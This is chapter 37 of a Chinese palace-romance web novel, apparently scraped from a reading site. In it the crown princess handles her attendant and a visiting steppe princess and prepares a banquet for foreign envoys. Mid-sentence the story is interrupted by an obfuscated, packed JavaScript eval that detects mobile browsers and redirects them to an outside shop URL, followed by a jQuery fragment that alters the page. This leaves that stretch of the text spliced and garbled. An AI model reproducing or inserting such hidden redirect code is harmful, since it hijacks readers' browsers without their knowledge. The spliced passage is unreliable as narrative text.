37. 开悟
作品:《太女监国,在线崩溃(女尊)》 晓昭沉默了片刻,一时之间说不出话来。
顾承乾捂住了眼睛:“好了我明白了。”
晓昭都无话可说了,可能她确实有些疑心病吧。
“我下次注意一点,你也多提醒我一下。”虽然不会有人当面说她,但她自己也会尴尬啊,难道就因为她不表现就当她真不在乎吗?
晓昭凑到她身边,轻轻的帮她整理了有些凌乱的领口:“殿下其实已经很好了。”
她的表情很认真,顾承乾当然知道现在会觉得她好,从小到大,晓昭本来就是太女全肯定的那种人,但不知道为什么,现在看着现在,顾承乾没由来的有些心虚。
她的衣领,那里是被苏日勒宠幸的地方,她借着酒劲儿不仅说了不少胡话,还在领口那里蹭来蹭去,即便顾承乾已经整理过了,现在也还是有着些许褶皱。
说实话,柳意会有误会,对苏日勒提防至极,苏日勒本人也不全然无辜。
之前还好,她也没往其他地方想,但现在,或许是因为柳意的话,她竟然真觉得有些奇怪了。
可能是真喝多了,不然她为什么会觉得,她有点对不起从小跟着自己的晓昭呢?
想到苏日勒一脸高兴的把自己揽入怀中,而晓昭站在一旁,哀怨的看着她,她就没由来的打了个寒颤,连忙低着头,躲开晓昭的手,往前走两步。
她也是胆子大,竟然什么都敢想,真是醉的不轻,还是早点回去睡吧。
“困了困了,各回各家,晓昭你自己回去吧,不用管我了。”顾怀安大步离去,连头都没回,只背对着晓昭摆了摆手,几个侍卫跟在她身后,身影渐渐离去,只有晓昭留在原地,尚且摸不着头脑。
算了,看起来太女很是清醒,想来也没什么事。
晓昭自己回府,皆是一夜安眠。
次日,天刚破晓,北狄王女便已经开始去寻太女,却得知顾承乾还要上朝的消息,这让苏日勒好奇不已,待顾承乾下了朝,急匆匆的去找她,缠着她讲一讲都做些什么。
“我们北狄也有议会,不过都是一些部落之间的小事,谁抢了谁的草场,谁的羊有些像自己的……”苏日勒一脸的嫌弃,转而眼睛亮晶晶的看着顾承乾,“你们的呢,你们国家这么大,官员那么多,还分为大朝和小朝,应该很好玩吧!”
顾承乾:“……”
那是相当好玩,文官们都相亲相爱,武将一团和睦,年长的让着年幼的,从来不会出现两人争一个东西的现象。
嗯,好玩呢。
“这有什么好说的,左不过是农事、军事、政事什么的。”
在农事上去种田,在军事上处理将军打架问题,在政事上有党同伐异……嗯,猫狗党也是党。
总之,没有问题,合情合理!
苏日勒一脸的羡慕:“真好,我一想到以后我成了北狄的王,每天都要给人分羊,我就有点接受不了。”
说到这儿,苏日勒羡慕的看了看皇宫,望着正在出宫门的官员,‘啧啧’两声,摇了摇头。
“真可惜,你还挺厉害,我应该斗不过你,不然我就能体验你以后的日常了。”
顾承乾又无语了。
人与人之间,应该还是需要一些善意的谎言的。
当然,隐瞒也少不了。
总之,最好不要想什么都和她说好不好,这样很没有礼貌诶!
顾承乾看着苏日勒脸上真心实意的羡慕,一时有些语塞,揉了揉额角,决定把话题挪开。
“让王女殿下上朝是做不到的,但过些日子,其她使臣都到了,会有一场宴会,给众位一同接风洗尘,届时诸位大臣都会在,如此也算了却王女一桩心事。”
“就是不知道王女会不会觉得无趣了。”
“不无趣不无趣!”苏日勒立刻来了兴致,“怎么会觉得无趣呢?”
“我们议会上,常常出现两个首领一言不合,就出去比试一番的场景,你们宴会上也会有吗?”
苏日勒只是好奇的问了问,或许觉得这样会很有趣,但顾承乾听了却是如鲠在喉。
因为真的有。
“其实……”顾承乾答得有些艰难,“没有!”
说起谎来,太女反而严肃了起来,仿佛原本就是这样的:“沧溟礼法森严,朝堂之上,诸位大人自然沉稳持重,怎会如此轻佻。”
“啊——”苏日勒拖长了调子,有些失望,感慨道,“那你们还挺无趣的,少了好多的乐子。”
“又不一定会打起来,也可能是赛马之类的,光吵架可吵不出来对错。”
“咳咳,王女殿下别说了,过两日宴会,也是众使臣献礼的日子,北狄的车队还没到吗?”
顾承乾觉得,要是再说一会儿,她可能会绷不住了,为了保险起见,她还是决定还是要转移一下话题。
苏日勒自然听不出太女的想法,只照着她的话题想了下去:“你提醒我了,怎么我不在就跑的那么慢,还有要给你的礼物呢,真的是!”
苏日勒拍了拍顾承乾的肩膀,转眼间就跑了出去,等顾承乾朝她望去的时候,就剩下远远的一个朝她招手的身影:
“哎——”
“不用想我,我回去写封信,看看她们到哪儿了,等我写完信去找你!”
说完,苏日勒跳起来朝顾承乾挥了挥手,这才又跑了起来,活泼的让人感觉不可思议。
顾承乾叹了口气,一点也不想等一下再见到她,但又心知这人确实说话算话,说了要来,就算她写完已经到了半夜,也得把她叫醒说两句话才肯罢休。
无奈,她还是决定要早些把奏折批好,这样即便是苏日勒带着她在外面逛很久,她也不用贪黑熬夜的批奏折。
嗯,昨天喝完酒,她还批了半宿的奏折,破天荒第一次没早起练武,同寝的太女夫半夜又偷偷看着她哭了,还不知道又怎么想她呢。
唉,也罢误会别人和被人误会,总归是差不太多了。
书房。
桌案上已摞起新送来的奏折,顾承乾揉揉眉心,认命地坐了下来,拿起一本奏折就开始批阅。
今日朝会上讨论的几件事里,最重要的就是关于元日宴会的事。
众国献礼,久病的皇帝至少会出面一次,让众人知道她还活着,然后就会离席,把空间留给顾承乾,自然就要回礼。
这个东西讲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972864|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
究礼轻情意重,不管送上来的礼物是什么,贵不贵重,但回的礼物,都是世间最珍贵的礼物。
比如说陛下亲自折的纸,酿的葡萄酒,尤其是特地写的字……
好吧,是练字时剩下来的,当垃圾桶用来着来着。
但那又如何,她们要是不满意也可以送同样是心意的东西啊,只不过记不记在小本本上就是一个问题了。
顾承乾别的都不用管,只需要找几幅好的字画,到时候当过回礼就好。而其他的,比如宴会上的食物,又或者一些中途的小消遣,这些东西都有定式,皇夫会带着太女夫负责。
嗯,说起来除了顾承乾在前朝历练,太女夫在后宫也学到了许多。
太女一时间柔情四起,想着晚上要去看看太女夫,下一秒就来通报王女要找她。
正常使者都住驿馆,但王女毕竟身份特殊,在宫中也有一个专门的住处,能进出皇宫,但她要想来找顾承乾,还是需要通传。
顾承乾闭着眼睛,假装听不到侍男的话,让他在墙角罚站,于是,就进来了六个侍男和三位内侍,九个人在墙角排排站,还有点壮观。
无奈,太女终于被热暴力打败,起身出去。
出乎意料,苏日勒竟然很正经,飞鹰传信后,使者团说傍晚之前可以到周边城中过夜,明日应该就能到,所以苏日勒准备去看一下,等使者团到了再一起进来。
这是合理诉求,除了苏日勒没有使者和礼分着来的,所以她回去一趟很正常,退一万步来讲也要和礼熟悉一下,送礼的不知道礼物是什么就尴尬了。
所以顾承乾没挽留,直接送她走了,还派了一队护卫给她。
虽然目的都是监视,但显然是身份不同意义不同,虽然苏日勒还是摆摆手说不用担心,但她看顾承乾的眼神明显不同,那都续起小水花了。
她最后不仅接受了顾承乾派的人,还十分用力的拍打顾承乾的肩膀,紧紧的送了她一个拥抱,这才离开,悲壮程度让人几乎以为她一去不回。
其实明天就回来了好不好。
顾承乾对此百般无奈,但人都走了,她回到座位上继续批奏折的时候,又实在难以自控,偷偷笑了起来。
如果不出意外,基本可以断定苏日勒是年轻版的程将军,到也不能说是傻,只是看人更为简单,爱恨分明,这会显得她这种坏人很聪明。
因为她能轻易的骗到她们。
这实在算不得一个可以拿来炫耀的工具,但确实能让她放松不少。
起初她想的当然是建功立业,但心态却在一次又一次难绷的小事里发生了改变,到现在她恍然察觉,如果大家都是这样坦荡可爱,那她卸下心房倒也未尝不可。
她有些怅然若失,这些经历和跌宕起伏的人生并不相符,但又如释重负。
她会成为一个一笔带过的皇帝,没有什么大事,一位守成之君,但粮仓里的粮食,街上热闹的集市……
一桩桩一件件,都比她先前那点半吊子野心来的重要。
或许她母亲想要告诉她的就是这些。
那关于她伯娘的事情,或许也不应该妄加猜测,反而应该问问她的母亲?

